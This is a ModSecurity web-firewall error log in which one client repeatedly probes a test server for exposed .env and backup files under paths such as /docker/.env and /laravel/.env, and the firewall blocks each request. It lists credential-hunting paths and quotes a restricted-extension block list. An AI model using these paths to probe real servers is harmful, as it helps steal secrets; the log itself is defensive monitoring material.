[Fri Dec 05 14:58:18.116356 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aTLk-pXmnoT-oA3DSHqZRgAAAAA&quot;]
[Fri Dec 05 14:58:18.116572 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/awstats/.env&quot;] [unique_id &quot;aTLk-pXmnoT-oA3DSHqZRgAAAAA&quot;]
[Fri Dec 05 14:58:20.071686 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aTLk_JXmnoT-oA3DSHqZRwAAAAA&quot;]
[Fri Dec 05 14:58:20.072799 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aTLk_JXmnoT-oA3DSHqZRwAAAAA&quot;]
[Fri Dec 05 14:58:20.073045 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aTLk_JXmnoT-oA3DSHqZRwAAAAA&quot;]
[Fri Dec 05 14:58:22.296132 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSAAAAAA&quot;]
[Fri Dec 05 14:58:22.296366 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSAAAAAA&quot;]
[Fri Dec 05 14:58:22.296576 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSAAAAAA&quot;]
[Fri Dec 05 14:58:22.327389 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSQAAAAA&quot;]
[Fri Dec 05 14:58:22.327620 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSQAAAAA&quot;]
[Fri Dec 05 14:58:22.327831 2025] [:error] [pid 540813] [client 45.148.10.247:60984] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aTLk_pXmnoT-oA3DSHqZSQAAAAA&quot;]
[Fri Dec 05 14:58:22.405543 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aTLk_hcSsEDF2yyu7t4JfQAAAAM&quot;]
[Fri Dec 05 14:58:22.405801 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aTLk_hcSsEDF2yyu7t4JfQAAAAM&quot;]
[Fri Dec 05 14:58:22.405985 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aTLk_hcSsEDF2yyu7t4JfQAAAAM&quot;]
[Fri Dec 05 14:58:24.329221 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfgAAAAM&quot;]
[Fri Dec 05 14:58:24.329470 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfgAAAAM&quot;]
[Fri Dec 05 14:58:24.329677 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfgAAAAM&quot;]
[Fri Dec 05 14:58:24.416023 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfwAAAAM&quot;]
[Fri Dec 05 14:58:24.416322 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfwAAAAM&quot;]
[Fri Dec 05 14:58:24.416511 2025] [:error] [pid 539898] [client 45.148.10.247:49832] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aTLlABcSsEDF2yyu7t4JfwAAAAM&quot;]
[Fri Dec 05 14:58:31.792017 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aTLlByytAIKzU33vQQzrwQAAAAk&quot;]
[Fri Dec 05 14:58:31.792254 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aTLlByytAIKzU33vQQzrwQAAAAk&quot;]
[Fri Dec 05 14:58:31.792476 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aTLlByytAIKzU33vQQzrwQAAAAk&quot;]
[Fri Dec 05 14:58:33.256070 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aTLlCSytAIKzU33vQQzrwgAAAAk&quot;]
[Fri Dec 05 14:58:33.256310 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aTLlCSytAIKzU33vQQzrwgAAAAk&quot;]
[Fri Dec 05 14:58:33.256590 2025] [:error] [pid 535957] [client 45.148.10.247:49890] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aTLlCSytAIKzU33vQQzrwgAAAAk&quot;]
[Fri Dec 05 14:58:36.810944 2025] [:error] [pid 540816] [client 45.148.10.247:50224] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlDP7gcGez-0xehTtYuwAAAAg&quot;]
[Fri Dec 05 14:58:36.812044 2025] [:error] [pid 540816] [client 45.148.10.247:50224] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlDP7gcGez-0xehTtYuwAAAAg&quot;]
[Fri Dec 05 14:58:36.812290 2025] [:error] [pid 540816] [client 45.148.10.247:50224] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlDP7gcGez-0xehTtYuwAAAAg&quot;]
[Fri Dec 05 14:58:41.365177 2025] [:error] [pid 540813] [client 45.148.10.247:49548] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlEZXmnoT-oA3DSHqZSgAAAAA&quot;]
[Fri Dec 05 14:58:41.365523 2025] [:error] [pid 540813] [client 45.148.10.247:49548] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlEZXmnoT-oA3DSHqZSgAAAAA&quot;]
[Fri Dec 05 14:58:41.365795 2025] [:error] [pid 540813] [client 45.148.10.247:49548] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aTLlEZXmnoT-oA3DSHqZSgAAAAA&quot;]
[Fri Dec 05 14:58:48.844335 2025] [:error] [pid 539898] [client 45.148.10.247:49564] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aTLlGBcSsEDF2yyu7t4JggAAAAM&quot;]
